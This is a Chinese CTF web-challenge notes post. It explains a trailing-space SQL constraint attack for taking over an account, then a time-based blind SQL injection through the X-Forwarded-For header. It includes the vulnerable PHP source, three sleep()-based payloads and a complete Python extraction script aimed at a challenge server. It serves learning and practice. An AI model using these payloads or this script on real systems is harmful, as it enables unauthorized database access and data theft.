09月27, 2018

CTF-web 笔记 4

SQL 约束攻击

某些远古版本的 MySQL 数据库在使用insert into语句时,字符串末尾的空格会被删除。

若以此种方式实现注册功能,有可能存在 SQL 约束漏洞。

当某用户名,假设为cindemor,它的密码是cindemorpwd

攻击者在注册新用户时,注册"cindemor<若干个空格>"这样一个用户名。

便可以自己设的密码,登录账户cindemor

详见这篇文章


insert into 时间盲注

题目给出了源码:

<?php
    error_reporting(0);
    function getIp(){
        $ip = '';
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        }else{
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        $ip_arr = explode(',', $ip);
        return $ip_arr[0];
    }
    $host="localhost";
    $user="";
    $pass="";
    $db="";
    $connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
    mysql_select_db($db) or die("Unable to select database");
    $ip = getIp();
    echo 'your ip is :'.$ip;
    $sql="insert into client_ip (ip) values ('$ip')";
    mysql_query($sql);
?>

在 X_Forwarded_For 进行注入,语句是insert into

insert into语句下,执行额外的查询语句需要要先闭合左右的',然后使用+连接查询语句。

由于不返回错误信息,只能使用盲注,用脚本去一位位猜解内容,这里使用基于时间差的盲注。

使用函数substring()一位位截取查询结果,同时遍历所有常见字符。

若猜解成功,则使用函数sleep(),若响应时间超过某个值,则判断猜解成功。

由于存在出现多条查询结果的情况,故使用limit语句来将查询结果一条条取出。

而源码又过滤了,,故使用fromfor来代替substring()的逗号,使用offset代替limit的逗号。

payload1,查表名:

'+(select (case when (substring((select table_name from information_schema.tables where table_schema=database() limit 1 offset {0}) from {1} for 1)='{2}') then sleep(5) else 1 end)) and '1

得到两个表client_ip flag,表flag应该就是目标表,故在flag表中继续查询。

payload2,查列名:

'+(select (case when (substring((select column_name from information_schema.columns where table_name='flag' limit 1 offset {0}) from {1} for 1)='{2}') then sleep(5) else 1 end)) and '1

得到列名为flag

payload3,查出数据:

'+(select (case when (substring((select flag from flag limit 1 offset {0}) from {1} for 1)='{2}') then sleep(5) else 1 end)) and '1

脚本如下:

import requests
URL="http://120.24.86.145:8002/web15/"
STR="0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-_"

#表名
payload2="'+(select (case when (substring((select table_name from information_schema.tables where table_schema=database() limit 1 offset {0}) from {1} for 1)='{2}') then sleep(5) else 1 end)) and '1"
biao=""
for k in range (0,100):
    is1=0
    for i in range (1,100):
        is2=0
        for j in STR:
            try:
                hd={"X-Forwarded-For": payload2.format(k,str(i),j)}
                r=requests.get(URL,headers=hd, timeout=3)
            except requests.exceptions.ReadTimeout:
                is1=1
                is2=1
                biao+=j
                print (biao)
                break
        if is2==0:
            break
    if is1==0:
        break
    biao+=','
biao=biao.strip(',').split(',')
print (biao)

#字段名
payload3="'+(select (case when (substring((select column_name from information_schema.columns where table_name='flag' limit 1 offset {0}) from {1} for 1)='{2}') then sleep(5) else 1 end)) and '1"
ziduan=""
for k in range (0,100):
    is1=0
    for i in range (1,100):
        is2=0
        for j in STR:
            try:
                hd={"X-Forwarded-For": payload3.format(k,str(i),j)}
                r=requests.get(URL,headers=hd, timeout=3)
            except requests.exceptions.ReadTimeout:
                is1=1
                is2=1
                ziduan+=j
                print (ziduan)
                break
        if is2==0:
            break
    if is1==0:
        break
    ziduan+=','
ziduan=ziduan.strip(',').split(',')
print (ziduan)

#出flag
payload4="'+(select (case when (substring((select flag from flag limit 1 offset {0}) from {1} for 1)='{2}') then sleep(5) else 1 end)) and '1"
flag=""
for k in range (0,100):
    is1=0
    for i in range (1,100):
        is2=0
        for j in STR:
            try:
                hd={"X-Forwarded-For": payload4.format(k,str(i),j)}
                r=requests.get(URL,headers=hd, timeout=3)
            except requests.exceptions.ReadTimeout:
                is1=1
                is2=1
                flag+=j
                print (flag)
                break
        if is2==0:
            break
    if is1==0:
        break
    flag+=','
flag=flag.strip(',').split(',')
print (flag)

本文链接:https://blog.cindemor.com/post/ctf-web-4.html

-- EOF --